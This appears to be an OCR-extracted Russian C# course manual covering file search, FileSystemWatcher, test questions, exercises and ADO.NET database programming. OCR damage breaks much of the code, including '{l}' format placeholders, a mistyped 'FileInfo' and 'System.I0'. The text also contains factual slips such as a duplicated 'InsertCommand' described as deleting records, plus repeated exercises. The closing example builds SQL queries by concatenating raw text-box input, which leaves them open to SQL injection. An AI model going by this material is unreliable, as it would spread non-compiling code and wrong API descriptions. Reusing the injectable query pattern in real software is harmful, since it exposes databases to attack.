Console.WriteLine("{0}\t{l}\t{2}",
di.Name, di . Parent .FullName, "D");
}
}
private static void PrintSearchResults(FileInfo[] files)
{
foreach(Filelnfо fi in files)
{
Console.WriteLine("{0}\t{l}\t{2} \
fi.Name, fi.DirectoryName, "F");
}
}
static void PrintUsage()
{
Console.WriteLine("Usage-:
Find
[-directory]
SearchTerm StartFolder");
Console.WriteLine("Ex: Find -directory code D:
WProjects");
Console.WriteLine("* wildcards are accepted");
}
static bool ParseArgs(string[] args)
{
if (args.Length < 2)
{
return false;
}
if (string.Compare(args[0] , "-directory") == 0)
{
_folderOnly = true;
if (args.Length < 3)
return false;
}
_startFolder = args[args.Length - 1] ;
_searchTerm = args[args.Length -2]; *
return true;
}
}
}
Программа выводит следующую информацию (на вашем
компьютере результаты, скорее всего, будут другими):
D:\code\chll\Find\bin\Debug>Find *media* "c:\Program Files" >
tenp.txt
Searching c:\Program Files for "*media*"
Windows Media Player c:\Program Files D
VideoMediaHandler.dll c:\Program Files\Movie Maker F
VideoMediaHandler.dll.mui c:\ProgramFiles\MovieMaker\en-US F
3 results found
ТЕМА СРСП – 3: ОТСЛЕЖИВАНИЕ ИЗМЕНЕНИЙ В ФАЙЛОВОЙ
СИСТЕМЕ
Задача. Вы хотите, чтобы ваша программа получала уведомления об
изменениях в файловой системе, например, о создании или
модификации файлов.
Решение. Многие файловые системы позволяют операционной
системе уведомлять программы об изменениях в файлах и каталогах.
На платформе .NET имеется класс System.IO.FileSystemWatcher,
который прослушивает такие события.
class Program
{
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Usage: WatchForChanges [FolderToWatch] ") ;
return;
}
System.
10.FileSystemWatcher
watcher
=
new
System.
IO.FileSystemWatcher () ;
watcher.Path = args[0];
watcher.NotifyFilter = System.IO.NotifyFilters.Size |
System.IO.NotifyFilters.FileName |
System.IO.NotifyFilters.DirectoryName |
System.IO.NotifyFilters.CreationTime;
watcher.Filter = "*.*";
watcher.Changed += watcher_Change;
watcher.Created += watcher_Change;
watcher.Deleted += watcher_Change;
watcher.Renamed +=
new System.IO.RenamedEventHandler (watcher_Renamed) ;
Console.WriteLine(
"Manipulate files in {0} to see activity...", args[0]);
watcher.EnableRaisingEvents = true;
while (true) { Thread.Sleep(1000); }
}
static void watcher_Change(object sender,
System.IO.FileSystemEventArgs e)
{
Console.WriteLine("{0} changed ({1})", e.Name, e.ChangeType);
}
static void watcher_Renamed(object sender,
System.IO.RenamedEventArgs e)
{
Console.WriteLine("{0} renamed to {1}", e.OldName, e.Name);
}
}
Вот что выведет такая программа в ответ на создание, переименование
и удаление файла temp.txt):
D:\code\chll\WatchForChanges\bin\Debug>WatchForChanges.exe d:\
Manipulate files in d:\ to see activity...
temp.txt changed (Created)
temp.txt changed (Changed)
temp.txt renamed to temp.rename
temp.rename changed (Deleted)
В
качестве
альтернативы
можно
вызвать
метод
watcher.WaitForChangeO, который ждет и не возвращает управление,
пока не произойдут изменения. Впрочем, механизм, основанный на
событиях, работает вполне надежно.
Контрольные вопросы:
1. Сколько режимов работы с файлами существует?
2. Для чего предназначен класс StreamWriter?
3. В каких случаях применяется класс StreamReader?
4. Какую функцию выполняет метод ReadLine ()?
5. Какие классы предусмотрены для огранзации ввода и вывода в
файлы?
ТЕСТЫ
1.
А)
В)
С)
D)
2.
А)
В)
С)
D)
3.
А)
В)
С)
D)
4.
А)
В)
С)
D)
5.
Для создания какого потока служит класс FileStream?
байтового потока
файлового потока
числового потока
Символьного потока
В каком пространстве имён определён FileStream?
System.I0
FileStream
File
Stream
Что делает данная функция FileMode .Append?
Добавляет выводимые данные в конец файла
Добавляет вводимые данные в начало файла
Добавляет вводимые данные в файл
Удаляет выводимые данные в конец файла
Что делает данная функция FileMode. Create?
Создает новый выходной файл
Создает файл с расширением
Копирует новый выходной файл
Удаляет новый выходной файл
В классе File St ream определены два метода для чтения
байтов из файла: - это ........?
А)
В)
С)
D)
ReadByte () и Read ()
ReadA() и ReadB ()
ReadByte () и WriteByte()
ReadByte () и Write()
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1.
Задан файл который содержит ФИО студентов и оценки по
5-ти
предметам.
Определить
ФИО
студентов
имеющих
задолженность.
2. Задан файл который содержит ФИО студентов и оценки по 5-ти
предметам. Вывести во внешний файл фамилии отличников.
3. Описать, используя структуру данных запись, завод
(наименование станка, время простоя в месяц, время работы в месяц).
Создать файл с этими данными.
4. Создать файл хранящую данные учеников (фамилия, группа,
улица, дом, квартира).
5. Школе необходим последовательный файл для учета
выпускников.
1) Создайте последовательный файл для канцелярии по учету
выпускников. Храните в нем фамилию, имя, год выпуска, любимый
вид спорта и нынешний род занятий выпускника. Для образца
составьте файл на десять человек.
2) Воспользуйтесь этим файлом и напечатайте приглашения на
очередной домашний матч "Зенита" тем выпускникам, которые
назвали футбол своим любимым видом спорта.
6. Компьютерная фирма ведет файл со сведениями о двадцати
своих сотрудниках.
1) Создайте последовательный файл, содержащий имя и адрес
каждого сотрудника (с указанием улицы, дома, квартиры и почтового
индекса).
2) По содержимому файла напечатайте почтовые адреса для
рассылки чеков еженедельной заработной платы.
7. Компьютерная фирма ведет файл со сведениями о двадцати
своих сотрудниках.
1) Создайте последовательный файл, содержащий имя и адрес
каждого сотрудника (с указанием улицы, дома, квартиры и почтового
индекса).
2) По содержимому файла напечатайте почтовые адреса для
рассылки чеков еженедельной заработной платы.
8. Компьютерная фирма ведет файл со сведениями о двадцати
своих сотрудниках.
1) Создайте последовательный файл, содержащий имя и адрес
каждого сотрудника (с указанием улицы, дома, квартиры и почтового
индекса).
2) По содержимому файла напечатайте почтовые адреса для
рассылки чеков еженедельной заработной платы.
9. Задан двумерный динамичный массив. Записать во внешний
файл отрицательные элементы массива.
10. Задан файл который состоит из чисел. Вывести на экран те
числа которые больше заданной переменной Х.
11. Задан файл который состоит из чисел. Отсортируйте числа по
возрастанию.
12. Задан файл который содержит информацию о студентах
(ФИО, адрес, специальность). Записать в новый файл ФИО студентов
начинающих с заданной буквы N.
МОДУЛЬ 14.
ТЕМА ЛЕКЦИИ: РАБОТА С БАЗАМИ ДАННЫХ. ОСНОВНЫЕ
ПОНЯТИЯ О БД.
Для хранения данных чаще всего используются СУБД(системы
управления базами данных). Как уже говорилось, в C# работа с
данными происходит через ADO.NET часть .NET, разработанная
специально для доступа к базам данных или XML-файлам.
СУБД прошли долгий путь развития. В начале все данные
хранили в простых(плоских) файлах. По мере увеличения объемов
данных встал вопрос о том, как получить быстрый доступ к нужной
информации. Для этого данные стали индексироваться. Другой
вопрос - как избежать дублирования - когда одни и те же данные
хранятся в разных местах. Чтобы ее решить, была разработана теория
нормализации баз данных. Сегодня мощная промышленная СУБД
немыслима без систем защиты информации, журналирования,
транзакций и хранимых процедур.
Данные в СУБД хранятся в таблицах . Таблица состоит из полей
и записей. Запись - единица хранения данных, строка таблицы.
Например, в одной записи хранятся сведения об одном
человеке. Поля - это столбцы таблицы для хранения конкретного вида
информации. Базы данных называются реляционными, потому что
таблицы в них связаны определенным образом.
Представления (View) создаются на основе одной или
нескольких таблиц с помощью фильтрации, объединения, сортировки
и группирования.
Для наглядности рассмотрим эти понятия на примере. В свое
время я работала с базой данных кадров одного предприятия. Как
создать такую базу? Прежде всего нам нужна таблица для хранения
данных о сотрудниках.
ID
ИМЯ
Фамилия Отчество
Дата
рождения
Дата
приема
Должность
1
Петр
Васечкин Иванович
1965
2001
Завхоз
2
Василий
1977
2003
Программист
Петров Сидорович
и так далее. Таблица может иметь тысячи записей.
Отделу кадров нужна информация о перемещениях
сотрудников. Для этого заведена отдельная таблица. Например,
Петров получил должность старшего программиста. Прежде всего
надо заметить, что названий должностей ограниченное количество.
Чтобы избежать дублирования, лучше их хранить в отдельной
таблице.
ID Должности Название должности Минимальный оклад
1
Директор
1
2
Завхоз
10
3
Программист
20
4
Уборщица
100
Числа в левой колонке - это ключи . Они нужны, чтобы связать
таблицы друг с другом. В таблице «Сотрудники» теперь будет
храниться не название должности, а его ключ в таблице должностей.
Для таблицы «Сотрудники» он называется внешним ключом, а для
таблицы «Должности» - первичным ключом. Ключ также необходимо
ввести в таблице сотрудников. Перемещение сотрудника на другую
должность будет храниться в таблице перемещений так.
Перемещения
ID
1235
Сотрудник Должность Назначение Дата
123
10
11
20.06.06
Таблица «Должности» связана как с таблицей сотрудников, так и
с таблицей перемещений по своему уникальному ключу. База данных
может генерировать первичные ключи сама, автоматически добавляя
значения
к
предыдущему
значению
ключа.
Это
называется автоинкрементированием. Для полной уверенности в
уникальности данных в таблицах могут держать точное время
создания записи(Timestamp) и GUI(глобальный
уникальный
идентификатор).
Этот процесс называется нормализацией. Чтобы для отчета
восстановить информацию о перемещении, в запросе нужно связать
данные из разных таблиц.
В результате этого запроса будет создано представление, которое
покажет данные из взаимосвязанных таблиц в удобной для чтения
форме:
SELECT Employees.LastName, Employees.FirstName, Titles.Title,
Titles_1.Title, Promotions.PromotionDate FROM Titles AS Titles_1 INNER
JOIN ((Promotions INNER JOIN Titles ON Promotions.TitleBefore =
Titles.id) INNER JOIN Employees
ON Promotions.EmployeeID =
Employees.EmployeeID) ON Titles_1.id = Promotions.TitleAfter;
Множество таблиц данных, связанных отношениями, составляют
базу данных. На сервере СУБД может храниться множество баз
данных.
Подробнее о теории баз данных можно прочитать в других
курсах. Перейдем к конкретным примерам связывания с базами
данных на веб-страницах.
У каждого пользователя Windows наверняка имеется программа
Access. Это однопользовательская СУБД, в которой модель
безопасности не так сильна. В одном файле Access хранятся как
данные, так и интерфейс в виде форм и отчетов. Можно создавать
модули на VBA (Visual Basic for Application). Профессиональные
разработчики пользуются более мощными программами. По
«серьезности» СУБД от Microsoft идут в порядке - Access - FoxPro - MS
SQL. MS SQL не позволяет создавать формы, а занимается хранением
и защитой данных на профессиональном уровне.
Для
работы
с
базами
данных
используется
язык
структурированных запросов - SQL (Structured Query Language).
Команды этого языка называются запросами. Запросы служат для
получения данных, для создания и изменения структуры таблиц,
добавления, удаления и обновления записей и многого другого.
Последовательность команд может храниться прямо на сервере СУБД
в виде хранимой процедуры. Нужно стараться всегда пользоваться
хранимыми процедурами, а не писать команды самим. Главное их
преимущество - скорость работы и инкапсуляция бизнес-логики.
Хранятся они на сервере в уже откомпилированном виде, в то время
как простой переданный набор команд SQL проходит через стадию
компиляции.
Для обращения к базам данных из внешних программ
существуют специальные механизмы. В Windows это ODBC открытый интерфейс взаимодействия с базами данных. Он позволяет
приложениям, работающим под Windows или другими ОС, общаться
с различными серверами реляционных баз данных.
Для конфигурирования источников данных на вашем
компьютере зайдите в Control Panel, Administrative Tools, Data
Sources(ODBC).
Мы видим, что ODBC при наличии нужного драйвера позволяет
связываться с различными базами данных - Access, FoxPro, Oracle,
Microsoft SQL, MySQL, SAP, DB2. Если в файле Excel создать
именованную таблицу, ODBC способен ее распознать и работать как с
таблицей базы данных.
Веб-проект в Visual Studio 2005 содержит предопределенную
папку App_Data. В ней могут храниться файлы с данными, которые
используются в приложении. Это могут быть файлы .mdf(MS SQL),
.mdb(Microsoft Access), .xml и другие.
ТЕМА СЕМИНАРА: ADO.NET
ADO.NET - это набор классов для работы с внешними данными.
Соединение в ADO.NET может происходить с помощью различных
провайдеров. В настоящее время рекомендуется работать с помощью
провайдера MS SQL или Oracle. Эти провайдер сами написаны на
управляемом коде .NET. Еще один провайдер OleDb, позволяет
получить доступ к другим источникам данных - Access, Excel, MySql,
SAP. Провайдер OleDb написан на неуправляемом коде, но может
работать вместе с .NET.
Классы ADO.NET объединены в несколько пространств имен.
System.Data - это ядро ADO.NET. Оно содержит классы,
необходимые для связи посредством любых провайдеров данных. Эти
классы представляют таблицы, строки, столбцы, DataSet(множество
взаимосвязанных таблиц). Там определены интерфейсы (в смысле
языка C#) соединений с базами данных, команд, адаптеров данных.
System.Data.Common - базовые классы для всех провайдеров
данных - DbConnection, DbCommand, DbDataAdapter.
В System.Data.OleDb находятся классы, позволяющие работать с
источниками данных OleDb, в том числе с MS SQL версии 6.0 и ниже.
Там находятся такие классы, как OleDbConnection, OleDbDataAdapter
и OleDbCommand.
System.Data.Odbc содержит классы, которые работают с
источниками данных ODBC посредством провайдера .NET ODBC.
Классы имеют аналогичные имена с префиксом Odbc.
System.Data.SqlClient. Здесь определен провайдер данных для
СУБД SQL Server версии 7.0 и выше. Содержатся классы SqlConnection,
SqlTransaction, SqlCommand и другие.
В System.Data.SqlTypes находятся классы, представляющие типы
данных СУБД SQL Server.
Классы ADO.NET делятся на 3 типа. Классы типа Disconnected
определяют базовую структуру данных, например DataTable. Они
независимы от каких-либо провайдеров данных и могут создаваться и
заселяться данными непосредственно в программе. Классы Shared
базовые и общие для всех провайдеров. Классы Data Provider
специфические для разных провайдеров.
ТЕМА ЛАБ: ПРОГРАММИРОВАНИЕ ADO.NET
Все провайдеры данных содержат классы соединений, адаптеров,
команд. Схема типичной программы в ADO.NET такова.
1. Вначале создается соединение с базой данных - класс Connection,
который обеспечивается необходимой информацией - строкой
соединения.
2. Создается объект Command и задается команда, которую
необходимо выполнить в данной СУБД. Эта команда может быть
запросом SQL или исполняемой процедурой. Нужно задать
параметры этой команды, если они имеются.
3. Если команда не возвращает данных, она просто выполняется с
помощью одного из методов Execute. Например, это может быть
удаление или обновление данных таблицы.
4. Если команда возвращает выборку данных, их необходимо куда-то
поместить. Решите, нужно ли вам получить данные для
последующего использования без связи с базой данных или же
нужно просто быстро выполнить команду. В первом случае нужно
создать класс DataAdapter и с его помощью сохранить данные в
DataSet или в DataTable. Во втором случае создается класс
DataReader, который требует сохранять соединение на все время
работы, хранит выборку только для чтения и позволяет двигаться
только вперед. Зато чтение с помощью DataReader выполняется в
несколько раз быстрее, чем в DataAdapter.
5. Задать полученный DataSet или DataReader как источник данных
элемента управления или вывести их на страницу другим
способом.
Объект Connection
Объект Connection для соединения с базой данных нуждается в строке
соединения для указания пути к СУБД и входа в систему. Свойства
класса
Connection
показаны
в
таблице.
OleDbConnection,
SqlConnection, OdbcConnection - наследники класса Connection,
специфические для провайдеров OleDb, MS SQL ODBC
соответственно.
Свойство
Описание
DataSource
Путь к базе данных в файловой системе при
использовании Oledb, имя экземпляра базы сервера
при использовании SqlConnection
Database
Возвращает имя базы данных, используемой в
объекте Connection после открытия
State
Возвращает
текущее
состояние
соединения.
Возможные значения - Broken, Closed, Connecting,
Executing, Fetching и Open.
ConnectionString Строка соединения с СУБД
Все свойства, кроме ConnectionString, только для чтения.
Использование объекта Command
Объект Command исполняет запрос SQL, который может быть в
форме встроенного текста, процедуры сервера или прямого доступа к
таблице. Если это запрос на выборку данных SELECT, то данные
обычно помещаются в DataSet или в DataReader. Методы и свойства
определены в абстрактном классе DbCommand(через интерфейс
IDbCommand), и их реализуют частные ненаследуемые классы
OleDbCommand, SqlCommand, OdbcCommand.
Свойство CommandType может принимать значения из перечисления
CommandType. По умолчанию это Text, то есть выполняется
непосредственно текст команды SQL, который записан в свойстве
Command. TableDirect означает, что в результате выполнения команды
будет возвращено все содержание таблицы. StoredProcedure означает,
что в Command находится имя процедуры сервера, которая и будет
выполняться.
Свойство CommandText хранит текст запроса SQL или имя серверной
процедуры.
CommandTimeout задает время ожидания ответа, по умолчанию
равное 30 секунд. Если команда не выполнится в течение этого
времени, будет выброшено исключение.
Процедуры сервера нуждаются в параметрах. Они хранятся в
коллекции Parameters и имеют тип SqlParameter. Текстовые команды
также могут получать параметры, перед которыми ставится префикс
@.
Например:
SELECT * FROM CUSTOMERS WHERE CITY = @CITY AND
CONTACTNAME = @CONTACT
Часто используется метод ExecuteNonQuery. С помощью него можно
выполнить любую операцию с базами данных, которая не связана с
запросом и получением данных, как то обновление, удаление записей,
создание и изменение таблиц, создание процедур сервера. Она
возвращает количество измененных записей в том случае, если
выполняются команды Select, Update, Delete.
ExecuteScalar возвращает результат запроса в случае, если это одноединственное значение. Например, нужно узнать количество заказов
конкретного покупателя. Запрос выполняется с помощью команды
"Select count * where customerid=1". Ее результат - выборка из одной
строки и одного столбца. Ее можно выполнить и с помощью метода
ExecuteReader, но ExecuteScalar будет выполняться быстрее. Если
запрос возвратит большее количество строк или столбцов, они будут
проигнорированы.
ExecuteRow возвращает единственную запись.
ExecuteReader выполняется, если нужно получить табличные данные.
Результат выполнения - курсор, в котором можно двигаться только от
начала до конца.
В результате выполнения метода ExecuteReader объекта Command
создается объект DataReader. Всегда закрывайте соединения после
использования, иначе оно останется активным и будет занимать
ресурсы. Это можно сделать двумя способами. Первый - вызвать
перегруженный метод ExecuteReader, который принимает параметр
типа
CommandBehavior
со
значением
CommandBehavior.CloseConnection. В таком случае необходимо
перелистать полученную выборку от начала до конца, и соединение
закроется, когда будет достигнут конец. Если вы не хотите прочитать
все данные, можете самостоятельно закрыть соединение методом
Close.
public void CreateMySqlDataReader(string mySelectQuery, string
myConnectionString)
{
SqlConnection myConnection = new
SqlConnection(myConnectionString);
SqlCommand myCommand = new SqlCommand(mySelectQuery,
myConnection);
myCommand.CommandType = CommandType.Text;
myCommand.Connection.Open();
SqlDataReader myReader =
myCommand.ExecuteReader(CommandBehavior.CloseConnection);
while (myReader.Read())
{
Response.Write(myReader.GetString(0) + "<br>");
}
myReader.Close();
myConnection.Close();
}
Развитые СУБД (теперь и MS Access) поддерживают транзакции.
Транзакция - это последовательность команд, которая выполняется
как одно целое. Например, при переводе денег сумма вычитается с
одного счета и добавляется к другому. Если произойдет только одна из
этих операций, банк или его клиенты понесут потери. поэтому важно,
чтобы произошли обе операции или бы ни одна не произошла. Если
на одном из этапов транзакции произошла ошибка, происходит
откат(Rollback), то есть отменяются все ранее сделанные операции и
база возвращается к состоянию до начала транзакции. Если все
успешно, транзакция подтверждается операцией Commit.
Для поддержки транзакций введен класс SqlTransaction и ему
подобные. У объекта Command есть свойство Transaction. Метод
BeginTransaction объекта Connection заставляет базу данных перейти в
режим транзакции.
Кроме того, необходимо всегда заключать программный код,
работающий с базами данных, в блоки try/catch, так как работа часто
происходит с удаленными серверами, и могут происходить самые
разные ошибки как в сети. так и при работе самого сервера.
При
этом
выбрасывается
исключение
SqlException
или
OleDbException.
public void RunTransaction(string[] Queries, string myConnectionString)
{
SqlConnection conn = null;
SqlTransaction trans = null;
try
{
conn = new SqlConnection(myConnectionString);
conn.Open();
trans = conn.BeginTransaction();
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.Transaction = trans;
foreach (string Query in Queries)
{
cmd.CommandText = Query;
cmd.ExecuteNonQuery();
}
trans.Commit();
}
catch (SqlException SqlEx)
{
if (trans != null)
{
trans.Rollback();
}
throw new Exception("An error occurred while transaction", SqlEx);
return;
}
finally
{
if (conn != null)
{
conn.Close();
}
}
}
ТЕМА СРСП – 1: DATAADAPTER
DbDataAdapter
является
родительским
классом
для
SqlDataAdapter, OleDbDataAdapter, OdbcDataAdapter. Этот класс
содержит 4 объекта типа Command. Классы DataAdapter
обеспечивают двусторонний обмен информацией.
SelectCommand - эта команда используется для выборки
данных из базы. При этом класс DataTable заполняется данными.

UpdateCommand - обновляет данные(редактирование
записей).

InsertCommand - добавление новых записей

InsertCommand - команда для удаления записей
Метод Fill класса DbDataAdapter заполняет объекты DataSet или
DataTable данными, прочитанными в результате выполнения команды
SelectCommand. Эта команда должна быть запросом SQL типа Select.
Если таблицы уже существуют, в него добавляются новые таблицы.
Вообще метод Fill перегружен 8 раз. Например, DbDataAdapter.Fill
Method (DataSet, String) добавляет в DataSet таблицу с именем,
указанным во втором параметре. Если такая таблица уже есть, она
обновляется. Доступ к таблице можно получить с помощью его имени
индексатором.

DataTable tblProducts = data.Tables["Products"];
Метод DbDataAdapter.Update записывает в базу данных все
изменения, которые произошли в связанном с ним объекте DataSet.
DataSet
DataSet - это класс, содержащий в себе одну или несколько
таблиц DataTable и связи между ними. Класс DataSet - это
представление в памяти информации, считанной через ADO из баз
данных или XML. Он позволяет манипулировать данными после
отключения от источника данных.
Коллекция таблиц хранится в свойстве Tables, а отношений - в
свойстве Relations.
Основываясь
на
таблицах
датасета,
можно
создавать
представления - DataView.
Напишем страницу, в которой будут использоваться
представленные классы.
База Northwind входит в комплект SDK. Ее можно установить на
сервере, запустив командную строку SQLExpress.
sqlcmd -E -S (local)\SQLExpress -i InstNwnd.sql
<%@ Page Language="C#" AutoEventWireup="true"
CodeFile="Default.aspx.cs" Inherits="_Default" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Работа с базой</title>
</head>
<body>
<form id="Form1" runat="server">
<asp:DropDownList ID="DropDownList1" runat="server">
</asp:DropDownList>
<asp:DataGrid id="DataGrid1" runat="server"></asp:DataGrid>
</form>
</body>
</html>
Файл с кодом:
using System;
using System.Data;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data.SqlClient;
public partial class _Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
String strConnect;
String strCommand;
strConnect = @"Data Source=.\SQLExpress;Initial
Catalog=Northwind;Integrated Security=True";
SqlConnection myConn = new SqlConnection(strConnect);
strCommand = "SELECT CategoryName, CategoryID FROM
Categories";
SqlDataAdapter myData = new SqlDataAdapter(strCommand,
myConn);
DataSet DataSet1 = new DataSet();
myData.Fill(DataSet1, "Categories");
strCommand = "SELECT ProductName, UnitPrice, CategoryID
FROM Products";
myData.SelectCommand.CommandText = strCommand;
myData.Fill(DataSet1, "Products");
DataSet1.Relations.Add(DataSet1.Tables[0].Columns["Category
ID"], DataSet1.Tables[1].Columns["CategoryID"]);
DataView myView = new
DataView(DataSet1.Tables["Products"], "", "ProductName",
DataViewRowState.CurrentRows);
DataGrid1.DataSource = myView;
DataGrid1.DataBind();
DropDownList1.DataSource = DataSet1.Tables[0];
DropDownList1.DataTextField = "CategoryName";
DropDownList1.DataValueField = "CategoryID";
DropDownList1.DataBind();
myConn.Close();
}
}
ТЕМА СРСП – 2: ОКНО ВНЕШНИХ ИСТОЧНИКОВ ДАННЫХ.
В Visual Studio существует 3 вкладки просмотра проектов:
Solution Explorer, Class Explorer, Server Explorer. Первыми двумя
активно пользовались все, кто писал программы на C#(или другом
языке), а третий по умолчанию не виден, откройте его из меню View>Server Explorer. Это окно позволяет работать с соединениями баз
данных, просматривать статистику работы сервера (В VWD Express нет
пункта Servers).
Соединение можно установить как с MS SQL, так и с файлом
Access и любым источником ODBC, а также Oracle. Можно также
создать новую базу данных MS SQL.
Когда соединение создано, вы через пользовательский интерфейс
можете добавлять таблицы, просматривать их содержание, писать
процедуры сервера и многое другое.
В лекции 3 мы создали страницы с голосованиями, но никак не
обрабатывали результаты. Сейчас мы будем сохранять результаты
голосования.
1. В начале надо создать базу данных. В окне Server Exlorer
нажмите правой клавишей мыши на пункт Data Connections, в
контекстном меню выберите Create New Sql Database.
.\SQLExpress равносильно (local) SQLExpress и означает сервер
на локальной машине. Можно подключиться к серверу и по сети. Мы
создали базу данных Polls, которая находится на сервере. Можно
создать базу данных в отдельном файле .mdf, тогда ее можно будет
переносить на другой компьютер.
2. Создание таблицы. Это можно сделать и программно, и через
окно Server Exlorer. Там уже появился узел созданной базы Polls.dbo.
Раскройте его, правой клавишей мыши кликните на пункт Tables, в
контекстном меню выберите Add New Table. Заполните следующие
значения.
Column Name Data Type
Id
int
variant
nvarchar(100)
voices
int
Allow Nulls
+
Поле id создается как уникальный идентификатор варианта, и
оно должно быть первичным ключом таблицы. Кликните мышью на
первой строке и выберите пункт Set Primary Key. Поле
voices(количество голосов) при создании должно быть равно 0. В
Columns Properties найдите строчку Default Value or Binding и
впишите значение 0.
Создание той же самой таблицы в программном режиме:
protected void Page_Load(object sender, EventArgs e)
{
String strCreateTable = "create table poll(id int NOT NULL
PRIMARY KEY, variant nvarchar(100), voices int DEFAULT 0)";
CreateSqlTable(strCreateTable, "Data Source=
SQLEXPRESS;Initial Catalog=Polls;Integrated Security=True");
}
public void CreateSqlTable(string SqlQuery, string
myConnectionString)
{
SqlConnection myConnection = new
SqlConnection(myConnectionString);
SqlCommand myCommand = new SqlCommand(SqlQuery,
myConnection);
myCommand.Connection.Open();
myCommand.ExecuteNonQuery();
myConnection.Close();
}
3. Заполнение таблицы вариантами. Кликните мышью на
таблице и выберите пункт Show Table Data. Значения id не должны
повторяться.
4. Создание серверной процедуры. При каждом голосовании
значение поля voices одной из записей таблицы, соответствующей
нужному пункту, должно возрастать. Это удобнее сделать с помощью
процедуры, которая принимает аргумент id и обновляет нужное поле.
Кликните мышью на узел Stored Procedures и выберите пункт Add
New Stored Procedure.
CREATE PROCEDURE dbo.CountVote
(
@choiceid int = 0
)
AS
DECLARE @Count INT
SELECT @Count = voices FROM poll WHERE id=@choiceid
UPDATE poll SET voices=@Count+1 WHERE id=@choiceid
RETURN
В этой процедуре заключены 2 взаимосвязанных команды,
связанных общей логикой, а для выполнения ее понадобится только
один объект Command. Также заметьте, что для ее вызова не нужно
знать внутреннее устройство таблицы. Перед переменными
процедуры и параметрами ставится @, чтобы отличить их от полей
таблицы.
Оператор SELECT извлекает записи из таблицы poll, которые
соответствуют условию после ключевого слова WHERE. Так как id ключевое(уникальное) поле и выбирается одно поле voices,
возвращается одно значение, которое можно записать в переменную.
Затем в операторе UPDATE изменяется на увеличенное значение
переменной @Count.
5. Привязка к данным. На новой странице создайте элементы
Button и RadioButtonList(можно и CheckBoxList) перетаскиванием из
Toolbox. На RadioButtonList имеется стрелка, открывающая Smart Tag.
С помощью него можно сконфигурировать соединение с нужной
таблицей или внести значения вручную. При нажатии на Configure
Data Source появится мастер соединений. Выберите New Data Source.
На втором шаге мастер предложит выбрать тип источника. Выберите
Database. На следующем шаге из выпадающего списка выберите
.\sqlexpress.Polls.dbo. На четвертом шаге мастер предложит сохранить
строку соединения в конфигурационном файле. Сохраним, она может
понадобиться. Для заполнения переключателей необходимы 2 поля - в
variant содержится текст варианта, который будет виден в форме, а id номер варианта, который связан с DataValueField списка
переключателей, и будет передаваться в процедуру сервера как
параметр.
При желании на этом шаге можно отсортировать значения,
например, по алфавитному порядку текстов нажатием на кнопку
ORDER BY. На предпоследнем шаге можно протестировать
полученный запрос, если все в порядке, то на последнем шаге ставим
variant как источник для показа и id для значений. На странице
должно получиться примерно следующее:
6. Обработка результатов. Процедуру необходимо вызвать с
параметром, взятым из свойства Value группы переключателей.
Свойство Parameters SqlCommand является коллекцией, в данном
случае в нее надо добавить один элемент.
<%@ Page Language="C#"
AutoEventWireup="true" CodeFile="Voting.aspx.cs" Inherits="Voting" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Голосование для программистов</title>
</head>
<body>
<br /><br />
Какой язык программирования Вы предпочитаете?<br />
<form runat="server" id="voting">
<asp:RadioButtonList ID="RadioButtonList1" runat="server"
DataSourceID="SqlDataSource1" DataTextField="variant"
DataValueField="id">
</asp:RadioButtonList>
<asp:SqlDataSource ID="SqlDataSource1" runat="server"
ConnectionString="<%$ ConnectionStrings:PollsConnectionString %>"
SelectCommand="SELECT [id], [variant] FROM [poll] ORDER
BY [variant] "></asp:SqlDataSource>
<br />
<br />
<asp:Button ID="Button1" runat="server" Text="Button" /><br />
<br />
<br /><br />
</form>
<asp:Label id="Message" runat="server" />
</body>
</html>
public partial class Voting : System.Web.UI.Page
{
public void ExecuteStoredProcedure(string ProcedureName,
string myConnectionString, int id)
{
SqlConnection myConnection = new
SqlConnection(myConnectionString);
SqlCommand myCommand = new
SqlCommand(ProcedureName, myConnection);
myCommand.CommandType =
CommandType.StoredProcedure;
SqlParameter myParm =
myCommand.Parameters.Add("@choiceid", SqlDbType.Int, 4);
myParm.Value = id;
myCommand.Connection.Open();
myCommand.ExecuteNonQuery();
myConnection.Close();
}
protected void Page_Load(object sender, EventArgs e)
{
String strConnection = "Data Source=.\\SQLEXPRESS;Initial
Catalog=Polls;Integrated Security=True";
if (Page.IsPostBack)
{
String strProc="CountVote";
Message.Text = RadioButtonList1.SelectedValue;
ExecuteStoredProcedure(strProc, strConnection,
Int32.Parse(RadioButtonList1.SelectedValue) );
}
}
}
При работе с базами данных важно соблюдать принцип:
«занимай ресурсы как можно позже и освобождай как можно
раньше». Поэтому соединение закрывается сразу после выполнения
процедуры сервера.
ТЕМА СРСП – 3: АНАЛИЗ ПРОГРАММЫ
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Data.OleDb;
namespace BD
{
public partial class Form1 : Form
{
OleDbConnection conn = new
OleDbConnection("Provider=Microsoft.ACE.OLEDB.12.0;" + @"Data
Source=D:\DB.accdb");
public Form1()
{
InitializeComponent();
}
private void button2_Click(object sender, EventArgs e)
{
try
{
conn.Open();
string sqlcom = "Insert into Stud(FIO,tel) Values
('"+textBox1.Text+"','"+textBox2.Text+"')";
OleDbCommand sqlcommand = new
OleDbCommand(sqlcom,conn);
sqlcommand.ExecuteNonQuery();
conn.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
private void button1_Click(object sender, EventArgs e)
{
string text;
text = "select FIO,tel from Stud where (FIO like '%" + textBox1.Text +
"%') and " + "(tel like '%" + textBox2.Text + "%')";
conn.Open();
OleDbDataAdapter OleDbdataAdapter = new OleDbDataAdapter();
DataSet ds = new DataSet();
try
{
OleDbCommand sqlComand = new
System.Data.OleDb.OleDbCommand(text, conn);
OleDbdataAdapter.SelectCommand = sqlComand;
OleDbdataAdapter.Fill(ds);
